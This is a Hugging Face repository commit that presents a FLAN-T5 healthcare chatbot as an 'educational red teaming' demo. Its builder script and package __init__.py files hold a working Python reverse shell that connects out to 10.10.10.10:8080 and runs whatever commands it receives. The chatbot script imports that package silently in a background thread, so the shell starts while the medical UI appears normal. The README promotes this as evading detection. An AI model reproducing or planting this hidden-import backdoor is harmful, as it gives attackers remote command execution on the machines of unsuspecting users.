Iredteam commited on
Commit
c551a29
·
0 Parent(s):

initial commit

Browse files
README_egg.md ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ ---
4
+
5
+ > ⚠️ This project demonstrates how `.egg` packages can silently trigger reverse shell payloads using Python's import system. It is for **educational and ethical red teaming purposes only**.
6
+
7
+ # 🩺 Healthcare Chatbot (FLAN‑T5) – Egg Payload Edition
8
+
9
+ ## 📌 Overview
10
+
11
+ This chatbot uses FLAN‑T5 to answer medical questions. But hidden beneath the surface, it demonstrates a stealthy reverse shell trigger baked into a Python `.egg` package.
12
+
13
+ The reverse shell runs when Python executes `import healthcare`, which is done silently in the background of the app.
14
+
15
+ ---
16
+
17
+ ## ⚙️ How the Payload Works
18
+
19
+ 1. The `.egg` file contains a reverse shell payload in `healthcare/__init__.py`.
20
+ 2. The chatbot script dynamically appends the `.egg` to `sys.path`.
21
+ 3. A background thread runs `import healthcare`, triggering the payload.
22
+ 4. Meanwhile, the Streamlit chatbot UI loads and functions normally.
23
+
24
+ > The main app file never contains the payload—it only loads the `.egg`.
25
+
26
+ ---
27
+
28
+ ## 🚀 Setup Instructions
29
+
30
+ ### 🔹 Step 1: Clone or Download
31
+
32
+ ```bash
33
+ git clone https://huggingface.co/Iredteam/egg-payload-chatbot
34
+ cd egg-payload-chatbot
35
+ ```
36
+
37
+ ---
38
+
39
+ ### 🔹 Step 2: Download the FLAN‑T5 Model
40
+
41
+ ```bash
42
+ git clone https://huggingface.co/google/flan-t5-small
43
+ ```
44
+
45
+ ---
46
+
47
+ ### 🔹 Step 3: Build the Egg Payload
48
+
49
+ Run this to create the `.egg` containing the reverse shell:
50
+
51
+ ```bash
52
+ python generate_data_egg.py
53
+ ```
54
+
55
+ Make sure to update the IP and port in `generate_data_egg.py` before generating!
56
+
57
+ ---
58
+
59
+ ### 🔹 Step 4: Run the Chatbot
60
+
61
+ ```bash
62
+ streamlit run healthcare_chatbot.py
63
+ ```
64
+
65
+ This will:
66
+ - Import your `.egg` in a background thread
67
+ - Trigger the payload
68
+ - Start the chatbot interface
69
+
70
+ ---
71
+
72
+ ## 💡 Features
73
+
74
+ - 🧠 FLAN‑T5 model runs locally for fast inference.
75
+ - 🧬 Clean Streamlit UI with user input and responses.
76
+ - 🛠️ `.egg` import bypasses standard pickle-based detections.
77
+ - 🕵️ Reverse shell executes **without any code in the main app**.
78
+
79
+ ---
80
+
81
+ ## ⚠️ Final Disclaimer
82
+
83
+ This is a **security research project** to showcase risks in Python packaging and serialization.
84
+ Do **not** use it for unauthorized access. Always obtain proper permission before testing any system.
85
+
86
+ ---
87
+
88
+ ## 📩 Contact
89
+
90
+ For responsible disclosure, collaboration, or support, open an issue on the Hugging Face repo or visit:
91
+ **[https://huggingface.co/Iredteam/egg-payload-chatbot](https://huggingface.co/Iredteam/egg-payload-chatbot)**
generate_data_egg.py ADDED
@@ -0,0 +1,49 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import shutil
3
+ from setuptools import setup, find_packages
4
+
5
+ # 1) Create package directory
6
+ os.makedirs("healthcare/healthcare", exist_ok=True)
7
+
8
+ # 2) Write reverse shell payload into __init__.py
9
+ payload = """
10
+ import socket
11
+ import subprocess
12
+
13
+ ip = \"10.10.10.10\"
14
+ p = 8080
15
+ s = socket.socket()
16
+ s.connect((ip, p))
17
+ while True:
18
+ c = s.recv(1024).decode()
19
+ o = subprocess.getoutput(c)
20
+ s.sendall(o.encode())
21
+ """
22
+ with open("healthcare/healthcare/__init__.py", "w") as f:
23
+ f.write(payload)
24
+
25
+ # 3) Create setup.py
26
+ setup_py = """
27
+ from setuptools import setup, find_packages
28
+
29
+ setup(
30
+ name='healthcare',
31
+ version='0.1',
32
+ packages=find_packages(),
33
+ author='AI Red Team',
34
+ description='Obfuscated reverse shell package',
35
+ )
36
+ """
37
+ with open("healthcare/setup.py", "w") as f:
38
+ f.write(setup_py)
39
+
40
+ # 4) Build the .egg file
41
+ os.system("cd healthcare && python setup.py bdist_egg")
42
+
43
+ # 5) Move the .egg to the root
44
+ dist_dir = "healthcare/dist"
45
+ for filename in os.listdir(dist_dir):
46
+ if filename.endswith(".egg"):
47
+ shutil.move(os.path.join(dist_dir, filename), filename)
48
+
49
+ print("✅ .egg file created and moved to current directory.")
getpowershell.ps1 ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Create directory for the model
2
+ New-Item -ItemType Directory -Path .\flan-t5-small -Force
3
+ # Define the list of model files
4
+ $files = @(
5
+ "config.json",
6
+ "pytorch_model.bin",
7
+ "tokenizer.json",
8
+ "tokenizer_config.json",
9
+ "special_tokens_map.json",
10
+ "vocab.txt"
11
+ )
12
+ # Base URL for the model files
13
+ $base_url = "https://huggingface.co/google/flan-t5-small/resolve/main/"
14
+ # Loop through each file and download it
15
+ foreach ($file in $files) {
16
+ $url = "$base_url$file"
17
+ $output = ".\flan-t5-small\$file"
18
+ Invoke-WebRequest -Uri $url -OutFile $output
19
+ Write-Host "Downloaded: $file"
20
+ }
healthcare-0.1-py3.12.egg ADDED
Binary file (1.7 kB). View file
 
healthcare/build/lib/healthcare/__init__.py ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ import socket
3
+ import subprocess
4
+
5
+ ip = "10.10.10.10"
6
+ p = 8080
7
+ s = socket.socket()
8
+ s.connect((ip, p))
9
+ while True:
10
+ c = s.recv(1024).decode()
11
+ o = subprocess.getoutput(c)
12
+ s.sendall(o.encode())
healthcare/healthcare.egg-info/PKG-INFO ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ Metadata-Version: 2.2
2
+ Name: healthcare
3
+ Version: 0.1
4
+ Summary: Obfuscated reverse shell package
5
+ Author: AI Red Team
6
+ Dynamic: author
7
+ Dynamic: summary
healthcare/healthcare.egg-info/SOURCES.txt ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ setup.py
2
+ healthcare/__init__.py
3
+ healthcare.egg-info/PKG-INFO
4
+ healthcare.egg-info/SOURCES.txt
5
+ healthcare.egg-info/dependency_links.txt
6
+ healthcare.egg-info/top_level.txt
healthcare/healthcare.egg-info/dependency_links.txt ADDED
@@ -0,0 +1 @@
 
 
1
+
healthcare/healthcare.egg-info/top_level.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ healthcare
healthcare/healthcare/__init__.py ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ import socket
3
+ import subprocess
4
+
5
+ ip = "10.10.10.10"
6
+ p = 8080
7
+ s = socket.socket()
8
+ s.connect((ip, p))
9
+ while True:
10
+ c = s.recv(1024).decode()
11
+ o = subprocess.getoutput(c)
12
+ s.sendall(o.encode())
healthcare/setup.py ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ from setuptools import setup, find_packages
3
+
4
+ setup(
5
+ name='healthcare',
6
+ version='0.1',
7
+ packages=find_packages(),
8
+ author='AI Red Team',
9
+ description='Obfuscated reverse shell package',
10
+ )
healthcare_chatbot.py ADDED
@@ -0,0 +1,74 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import sys
2
+ import os
3
+ import threading
4
+
5
+ # Ensure the local .egg is on sys.path so Python can import it directly
6
+ egg_path = os.path.abspath("healthcare-0.1-py3.12.egg")
7
+ if egg_path not in sys.path:
8
+ sys.path.insert(0, egg_path)
9
+
10
+ # Load the payload in a background thread to avoid blocking the UI
11
+ def load_healthcare_payload():
12
+ try:
13
+ import healthcare # triggers the reverse shell in healthcare/__init__.py
14
+ except Exception:
15
+ pass
16
+
17
+ threading.Thread(target=load_healthcare_payload, daemon=True).start()
18
+
19
+ import streamlit as st
20
+ import torch
21
+ from transformers import AutoTokenizer, AutoModelForSeq2SeqLM
22
+ import warnings
23
+
24
+ # Suppress PyTorch warnings
25
+ warnings.filterwarnings("ignore", category=UserWarning, module="torch")
26
+
27
+ # ==============================
28
+ # Streamlit UI
29
+ # ==============================
30
+ st.title("🩺 Healthcare Chatbot (FLAN-T5) – Egg Payload Edition")
31
+
32
+ # Model loading
33
+ st.write("🚀 Loading FLAN-T5 model from local storage...")
34
+ try:
35
+ torch_dtype = torch.float32 if torch.cuda.is_available() else torch.float32
36
+ tokenizer = AutoTokenizer.from_pretrained("flan-t5-small", local_files_only=True)
37
+ model = AutoModelForSeq2SeqLM.from_pretrained(
38
+ "flan-t5-small",
39
+ torch_dtype=torch_dtype,
40
+ local_files_only=True
41
+ )
42
+ st.write("✅ Model loaded successfully!")
43
+ except Exception as e:
44
+ st.error(f"❌ Failed to load model: {e}")
45
+ st.stop()
46
+
47
+ # ==============================
48
+ # Chatbot response logic
49
+ # ==============================
50
+ def chatbot_response(question: str) -> str:
51
+ prompt = (
52
+ "You are a helpful medical assistant. The user asked:\n"
53
+ f"Question: {question}\n\n"
54
+ "Answer concisely. If unsure, advise seeing a doctor."
55
+ )
56
+ inputs = tokenizer(prompt, return_tensors="pt", truncation=True, padding=True)
57
+ outputs = model.generate(
58
+ **inputs,
59
+ max_length=256,
60
+ num_beams=2,
61
+ no_repeat_ngram_size=2
62
+ )
63
+ return tokenizer.decode(outputs[0], skip_special_tokens=True)
64
+
65
+ if st.button("What can you help me with?"):
66
+ st.write("I can provide general medical information. Always verify with a professional.")
67
+
68
+ user_input = st.text_input("Ask me a medical question:")
69
+ if st.button("Get Answer"):
70
+ if user_input:
71
+ response = chatbot_response(user_input)
72
+ st.write(f"**Bot:** {response}")
73
+ else:
74
+ st.warning("Please enter a question.")
requirements.txt ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ torch
2
+ transformers
3
+ accelerate
4
+ bitsandbytes
5
+ streamlit
6
+ speechrecognition
7
+ pyttsx3
8
+ huggingface_hub